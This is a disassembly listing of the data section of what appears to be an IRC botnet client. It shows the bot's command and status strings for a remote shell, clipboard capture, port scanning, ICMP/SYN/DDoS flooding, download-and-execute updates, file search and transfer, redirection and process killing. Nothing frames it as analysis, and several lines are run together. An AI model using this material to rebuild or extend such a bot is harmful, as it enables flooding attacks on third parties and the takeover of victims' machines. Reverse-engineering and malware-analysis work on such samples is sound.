dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 74207473h
dd 61657268h, 2E7364h
dword_433C6C dd 627573h dword_433C70 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5556o
dd 2029206Ch, 2BBBB02h, 6C412020h, 20736169h, 7473696Ch
dd 2Eh, 0
dword_433CA0 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: sub_40CD3A+5526o
dd 2029206Ch, 2BBBB02h
aFailedToStar_8 db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_433CEC dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: sub_40CD3A+54AFo
dd 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h
dd 2E67h
dword_433D18 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5428o
dd 2029206Ch, 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh
dd 2E6F66h
dword_433D44 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+53F9o
dd 2029206Ch, 2BBBB02h, 79532020h, 6D657473h, 666E4920h
dd 2E6Fh
dword_433D70 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+53A4o
dd 2029206Ch, 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh
dd 2E746Fh, 0
dword_433DA0 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40CD3A+5373o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStar_9 db ' Failed to start listing thread, error: <%d>.',0
align 10h
dword_433DF0 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40CD3A+5314o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh
dd 6C207373h, 2E747369h, 0
aFull db 'full',0 ; DATA XREF: sub_40CD3A+52F4o
align 4
dword_433E2C dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40CD3A+5292o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyRunning db ' Already running.',0
align 10h
unk_433E60 db 2 ; DATA XREF: sub_40CD3A+5266o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 63h ; c
db 64h, 6Bh, 65h
db 79h ; y
db 73h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aSearchComplete db ' Search completed.',0
align 4
dword_433E94 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5217o
dd 2029206Ch, 2BBBB02h, 70552020h, 656D6974h, 7325203Ah
dd 2Eh
dword_433EC0 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40CD3A:loc_411EB4o
dd 2029206Ch, 2BBBB02h
aRemoteShellRea db ' Remote shell ready.',0
align 4
dword_433EF4 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5173o
dd 2029206Ch, 2BBBB02h
aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0
align 10h
dword_433F30 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5157o
dd 2029206Ch, 2BBBB02h
aRemoteShellAlr db ' Remote shell already running.',0
dword_433F6C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5141o
dd 2029206Ch, 2BBBB02h, 65472020h, 6C432074h, 6F627069h
dd 2E647261h, 0
aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_40CD3A+5113o
align 10h
unk_433FB0 db 2 ; DATA XREF: sub_40CD3A:loc_411E3Do
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToFlushA db ' Failed to flush ARP cache.',0
align 10h
unk_433FF0 db 2 ; DATA XREF: sub_40CD3A+50EEo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aArpCacheFlushe db ' ARP cache flushed.',0
align 4
unk_434028 db 2 ; DATA XREF: sub_40CD3A:loc_411E0Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToLoadDn db ' Failed to load dnsapi.dll.',0
align 4
unk_434068 db 2 ; DATA XREF: sub_40CD3A:loc_411E05o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToFlushD db ' Failed to flush DNS cache.',0
align 4
unk_4340A8 db 2 ; DATA XREF: sub_40CD3A+50C4o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDnsCacheFlushe db ' DNS cache flushed.',0
align 10h
unk_4340E0 db 2 ; DATA XREF: sub_40CD3A+5031o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_10 db 'Failed to start server thread, error: <%d>.',0
align 10h
unk_434130 db 2 ; DATA XREF: sub_40CD3A+4EBCo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_11 db 'Failed to start server thread, error: <%d>.',0
unk_43417C db 2 ; DATA XREF: sub_40CD3A+4DAFo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aAlreadyRunni_0 db 'Already running.',0
align 10h
dword_4341B0 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: sub_40CD3A:loc_411AD3o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_12 db ' Failed to start scan, port is invalid.',0
align 10h
dword_434200 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: sub_40CD3A+4CDAo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
dword_43427C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+4A92o
dd 2029206Ch, 2BBBB02h
aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0
align 4
dword_4342B4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+4A79o
dd 2029206Ch, 2BBBB02h
aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0
dword_4342E8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+4A5Co
dd 2029206Ch, 2BBBB02h
aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0
dword_43431C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+4A46o
dd 2029206Ch, 2BBBB02h, 52492020h, 61522043h, 25203A77h
dd 2E73h
dword_434348 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: sub_40CD3A:loc_41170Co
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToKillTh db ' Failed to kill thread: %s.',0
align 4
dword_434388 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: sub_40CD3A+49CBo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aKilledThreadS_ db ' Killed thread: %s.',0
align 10h
dword_4343C0 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: sub_40CD3A:loc_4116C8o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aNoActiveThread db ' No active threads found.',0
align 4
dword_4343FC dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: sub_40CD3A+4984o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aStoppedDThread db ' Stopped: %d thread(s).',0
align 4
aAll db 'all',0 ; DATA XREF: sub_40CD3A+496Ao
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+48DFo
; sub_40CD3A:loc_412427o
align 4
dword_43444C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+4869o
dd 2029206Ch, 2BBBB02h
aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0
align 4
unk_434484 db 2 ; DATA XREF: sub_40CD3A:loc_41158Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCouldnTOpenF_0 db 'Couldn',27h,'t open file: %s',0
align 4
unk_4344BC db 2 ; DATA XREF: sub_40CD3A+484Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFileOpenedS db 'File opened: %s',0
dword_4344EC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+4821o
dd 2029206Ch, 2BBBB02h
aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0
align 4
dword_434524 dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
; DATA XREF: sub_40CD3A:loc_41153Fo
dd 2029206Ch, 2BBBB02h
aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0
align 10h
dword_434560 dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
; DATA XREF: sub_40CD3A+47DAo
dd 2029206Ch, 2BBBB02h
aLookupSS_ db ' Lookup: %s -> %s.',0
dword_434590 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40CD3A:loc_4114E0o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTermin db ' Failed to terminate process: %s',0
align 4
dword_4345D4 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40CD3A+479Co
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledS db ' Process killed: %s',0
align 10h
dword_434610 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40CD3A:loc_411486o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
align 4
dword_434658 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40CD3A+4745o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledI db ' Process killed ID: %s',0
dword_434690 dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
; DATA XREF: sub_40CD3A+46FEo
dd 29206C1Fh, 0BBBB0220h, 44202002h, 74656C65h, 27206465h
dd 2E277325h, 0
dword_4346C0 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CD3A+46D3o
dd 2029206Ch, 2BBBB02h
aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0
dword_43470C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CD3A+467Ao
dd 2029206Ch, 2BBBB02h
aSendFileSUserS db ' Send File: %s, User: %s.',0
align 4
dword_434744 dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
; DATA XREF: sub_40CD3A+4608o
dd 29206C1Fh, 0BBBB0220h, 4C202002h, 3A747369h, 732520h
dd 0
unk_434770 db 2 ; DATA XREF: sub_40CD3A+45C9o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_13 db 'Failed to start connection thread, error: <%d>.',0
dword_4347C0 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
; DATA XREF: sub_40CD3A+4570o
dd 206C1F64h, 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h
dd 0
dword_4347EC dd 28026502h, 62302E31h, 20282029h, 6372696Dh, 641F6D2Eh
; DATA XREF: sub_40CD3A:loc_411205o
dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh
dd 2E746E65h, 0
unk_43481C db 2 ; DATA XREF: sub_40CD3A+44C4o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Dh ; m
db 69h, 72h, 63h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientNotOpen_ db ' Client not open.',0
dword_43484C dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40CD3A+4487o
dd 2029206Ch, 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h
dd 7325h
dword_434878 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40CD3A+447Fo
dd 2029206Ch, 2BBBB02h
aErrorSendingTo db ' Error sending to remote shell.',0
align 4
dword_4348B8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+4439o
dd 2029206Ch, 2BBBB02h
aReadFileFailed db ' Read file failed: %s',0
align 4
dword_4348EC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+4425o
dd 2029206Ch, 2BBBB02h
aReadFileComple db ' Read file complete: %s',0
align 4
dword_434924 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+43A0o
dd 2029206Ch, 2BBBB02h, 65472020h, 736F6874h, 25203A74h
dd 2E73h
dword_434950 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A:loc_41109Fo
dd 2029206Ch, 2BBBB02h
aUnableToExtrac db ' Unable to extract Gethost command.',0
align 4
dword_434994 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+434Fo
dd 2029206Ch, 2BBBB02h
aGethostSComman db ' Gethost: %s, Command: %s',0
align 4
dword_4349CC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+42CDo
dd 2029206Ch, 2BBBB02h
aAliasAddedS_ db ' Alias added: %s.',0
align 4
dword_4349FC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+428Fo
dd 2029206Ch, 2BBBB02h
aPrivmsgSS_ db ' Privmsg: %s: %s.',0
align 4
dword_434A2C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+4239o
dd 2029206Ch, 2BBBB02h
aActionSS_ db ' Action: %s: %s.',0
align 4
dword_434A5C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+41CEo
dd 2029206Ch, 2BBBB02h, 79432020h, 2E656C63h, 0
dword_434A84 dd 54524150h, 0D732520h, 0Ah ; sub_40CD3A+4A4Eo
dword_434A90 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+416Do
dd 2029206Ch, 2BBBB02h
aModeChangeS db ' Mode change: %s',0
align 10h
aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+415Fo
align 4
dword_434ACC dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
; DATA XREF: sub_40CD3A+4136o
dd 206C1F64h, 0BB022029h, 202002BBh, 20776152h, 29732528h
dd 7325203Ah, 0
dword_434AFC dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
; DATA XREF: sub_40CD3A+40CBo
dd 206C1F64h, 0BB022029h, 202002BBh, 65646F4Dh, 73252820h
dd 25203A29h, 73h
dword_434B2C dd 45444F4Dh, 732520hdword_434B34 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
; DATA XREF: sub_40CD3A+4044o
dd 206C1F64h, 0BB022029h, 202002BBh, 6B63694Eh, 73252820h
dd 25203A29h, 73h
dword_434B64 dd 4B43494Eh, 732520h ; sub_40CD3A+48ABo
dword_434B6C dd 4E494F4Ah, 20732520h, 7325hdword_434B78 dd 54524150h, 732520hdword_434B80 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A:loc_410C86o
dd 2029206Ch, 2BBBB02h
aRepeatNotAllow db ' Repeat not allowed in command line: %s',0
align 4
dword_434BC8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+3F15o
dd 2029206Ch, 2BBBB02h, 65522020h, 74616570h, 7325203Ah
dd 0
aRepeat db 'repeat',0 ; DATA XREF: sub_40CD3A+3EC4o
align 4
dword_434BFC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A:loc_410BB6o
dd 2029206Ch, 2BBBB02h, 65442020h, 2E79616Ch, 0
dword_434C24 dd 25207325h, 73252073h, 73253A20h, 2 dup(0) ; sub_40CD3A+3EEFo ...
unk_434C38 db 2 ; DATA XREF: sub_40CD3A:loc_410B25o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 75h ; u
db 70h, 64h, 61h
db 74h ; t
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aBotIdMustBeDif db ' Bot ID must be different than current running process.',0
unk_434C90 db 2 ; DATA XREF: sub_40CD3A+3DCCo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 75h ; u
db 70h, 64h, 61h
db 74h ; t
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToStartD db ' Failed to start download thread, error: <%d>.',0
align 10h
unk_434CE0 db 2 ; DATA XREF: sub_40CD3A+3D73o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 75h ; u
db 70h, 64h, 61h
db 74h ; t
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aDownloadingUpd db ' Downloading update from: %s.',0
align 10h
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40CD3A+3CCDo
align 4
dword_434D2C dd 28026502h, 62302E31h, 20282029h, 63657865h, 641F6D2Eh
; DATA XREF: sub_40CD3A+3C6Eo
dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh
dd 732520h
unk_434D58 db 2 ; DATA XREF: sub_40CD3A+3C63o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 65h ; e
db 78h, 65h, 63h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCouldnTExecute db ' Couldn',27h,'t execute file.',0
align 10h
unk_434D90 db 2 ; DATA XREF: sub_40CD3A+3BB1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_14 db ' Failed to start search thread, error: <%d>.',0
align 10h
unk_434DE0 db 2 ; DATA XREF: sub_40CD3A+3B4Do
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSearchingFor_0 db ' Searching for file: %s in: %s.',0
align 4
dword_434E24 dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
; DATA XREF: sub_40CD3A:loc_4107E9o
; sub_40CD3A:loc_41143Fo
dd 29206C1Fh, 0BBBB0220h, 2002h
unk_434E44 db 2 ; DATA XREF: sub_40CD3A+3A9Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 10h
unk_434E80 db 2 ; DATA XREF: sub_40CD3A:loc_4107B2o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 69h ; i
db 63h, 6Dh, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0
align 10h
unk_434ED0 db 2 ; DATA XREF: sub_40CD3A+3A59o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 69h ; i
db 63h, 6Dh, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0
align 4
unk_434F1C db 2 ; DATA XREF: sub_40CD3A+39F5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 69h ; i
db 63h, 6Dh, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0
align 10h
unk_434F60 db 2 ; DATA XREF: sub_40CD3A+3969o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 63h ; c
db 6Ch, 6Fh, 6Eh
db 65h ; e
db 73h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToSta_15 db ' Failed to start clone thread, error: <%d>.',0
align 10h
unk_434FB0 db 2 ; DATA XREF: sub_40CD3A+3910o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 63h ; c
db 6Ch, 6Fh, 6Eh
db 65h ; e
db 73h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0
align 8
unk_434FF8 db 2 ; DATA XREF: sub_40CD3A+3866o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_16 db ' Failed to start flood thread, error: <%d>.',0
align 8
dword_435048 dd 28026502h, 62302E31h db 29h, 20h
word_435052 dw 2028h ; DATA XREF: .text:off_4333B4o
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0
align 10h
dword_435090 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: sub_40CD3A+375Do
dd 2029206Ch, 2BBBB02h
aFailedToSta_17 db ' Failed to start flood thread, error: <%d>.',0
align 10h
dword_4350E0 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: sub_40CD3A+36F5o
dd 2029206Ch, 2BBBB02h
aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0
unk_435120 db 2 ; DATA XREF: sub_40CD3A+3670o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_18 db ' Failed to start transfer thread, error: <%d>.',0
align 4
unk_435174 db 2 ; DATA XREF: sub_40CD3A+3617o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloadingUrl db ' Downloading URL: %s to: %s.',0
align 8
unk_4351B8 db 2 ; DATA XREF: sub_40CD3A+3533o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartR db ' Failed to start redirection thread, error: <%d>.',0
align 10h
dword_435210 dd 28026502h, 62302E31h, 20282029h, 69646572h, 74636572h
